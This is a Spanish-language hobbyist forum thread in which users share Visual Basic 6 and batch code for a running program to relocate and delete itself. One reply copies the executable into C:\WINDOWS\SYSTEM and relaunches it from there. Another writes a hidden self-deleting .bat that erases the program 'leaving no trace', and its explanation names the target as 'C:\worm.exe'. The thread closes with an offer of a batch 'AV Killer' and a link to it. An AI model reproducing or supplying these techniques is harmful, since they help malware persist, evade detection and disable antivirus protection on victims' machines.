Hola! :huh: :huh: :huh: hay alguna forma de eliminar una aplicación que esté abierta???
yo hago lo siguiente:
1º) al cargar crea otro exe
2º) abre la copia
3º) c cierra el 1er exe
l4º) la copia verifica el directorio y el nombre y si es = al q está en 1 variable lo cierra...
esto m serviría sino fuese pq si alguien cambia el nombre dl 1er exe ya no m sirve... :(
Si alguien tiene alguna idea o sabe como c podria hacer... :P
saludos!!! ;)
Aver si te sirve, este código lo que hace es que al correr tu programa se copia en el lugar que elijas y se cierra el primer programa.
En pocas palabras el programa siempre se ejecuta en la dirección.
Código:
Citar'-Correr Archivo-------------------------------------------------------------------------
Private Declare Function ShellExecute Lib "shell32.dll" Alias _
"ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, _
ByVal lpFile As String, ByVal lpParameters As String, _
ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
'----------------------------------------------------------------------------------------------
Dim NuevaDireccionEjecutar As String
Dim DireccionEjecutado As String
Dim CorrerExe As Long
'-Crea otro .exe en otro lado ------------------------------------------------------------------
On Error Resume Next
'-Dirección Donde se Esta Ejecutando
DireccionEjecutado = App.Path & "\" & App.EXEName & ".exe"
'-Dirección Donde Se Copiara Para Ejecutar (aca pones donde se copiara)
NuevaDireccionEjecutar = "C:\WINDOWS\SYSTEM\Nuevo.exe"
'-Copiando Se al Lugar Donde Se ejecutara
FileCopy DireccionEjecutado, NuevaDireccionEjecutar
'---------------------------------------------------------------------------------------------
'-----Para Que se ejecute Siempre el Nuevo Archivo------------------------------
If DireccionEjecutado = NuevaDireccionEjecutar Then
'Correr este Normalmente
Else
'Cerrar este .Exe y Ejecutar el Nuevo .Exe"
CorrerExe = ShellExecute(Me.hwnd, "Open", NuevaDireccionEjecutar, "", "", 1)
End
End If
'---------------------------------------------------------------------------------------------
Te dare un ejemplo "casero" pero que deja 0 huellas....
Open "C:\destroy.bat" For Output As #1
Print #1, "@echo off"
Print #1, "ping 127.0.0.1 -n 2" ' <--- Esto espera 2 segundos
Print #1, "del /s /q " & App.Path & "\" & App.EXEName & ".exe"
Print #1, "del /s /q %0" '<-- se autoelimina el .bat
Print #1, "exit"
Close #1
Shell ("C:\destroy.bat"), vbHide
End
Asi no kedaria ni rastro del programa... ;) ;)
Salu2
Hendrix
gracias UTU pero es muy similar al q hice :( y en el d punk rock tengo 1 duda...veo q pones .bat (perdonen mi ignoracia :-[) pero he visto eso en algunos post y aun no entiendo q es .bat :rolleyes:
...si m pudieran explikar :rolleyes: :P
Un .bat es un archivo por Lotes, lo que ahce es trabajar kon el MS-dos. Un archivo .bat se kompono por komandos de MS-DoS, a mi el lenguaje .bat me gusta mucho, se pueden hacer kosas interesantes kon el.
Si no entiendes el kode te lo puedo explikar todo.... ;) ;) ;)
Salu2
Hendrix
:P pues si no t importa t lo agradeceria Punk-rock
Wamos a ver, esto es el kode del .bat:
@echo off
ping 127.0.0.1 -n 2
del /s /q C:\worm.exe
del /s /q %0
exit
Weno, ahora te lo expliko line a alinea:
@echo off
Lo que hace esto es que no salga la "introduccion" por la pantalla.
ping 127.0.0.1 -n 2
Si vas al MS-DOS y pones esto: ping /? te saldra la ayuda sobre este komando.
el -n 2 actia komo un "timer", que lo que hace es que envie pings kada segundo hasta llegar a 2 (exactamente no es asi, pero para que lo entiendas.
Utilizo esto para que la aplikacion le de tiempo a cerrarse.
del /s /q C:\worm.exe
Lo que hace esto es eliminar nuestro Worm. lo de /s /q es para que no pida konfirmacion y lo borre directamente.
del /s /q %0
Lo que hace esto es eliminar el propio .bat, los .bats tienen una kualidad, y es que ellos mismos si se pueden borrar.
exit
Sirve para salir del programa.
Espero que lo hayas entendido.
Salu2
Hendrix
;D ;D ;D ahora si ksi, muxisimas gracias ;) ;) ;)
jejeje de nada hombre.... ;) ;) ;)
Salu2
entonces con lo que dijo Hendrix, si se pude cerrar una aplicacion en el administrador de tareas???
o que esta en aplicacion?
Claro que se puede cerrar, de echo, yo tengo un AV Killer echo en batch (y despues pasado a exe). que funciona de PM.
Si kieres te paso un link...
Salu2
Hendrix
aver pasalo si kieres k sea por privado, como gustes :)
Esta en mi foro:
http://www.foro.ws/foro/post/AV-Killer_en_batch_By_Hendrix_11-128961
Salu2
Hendrix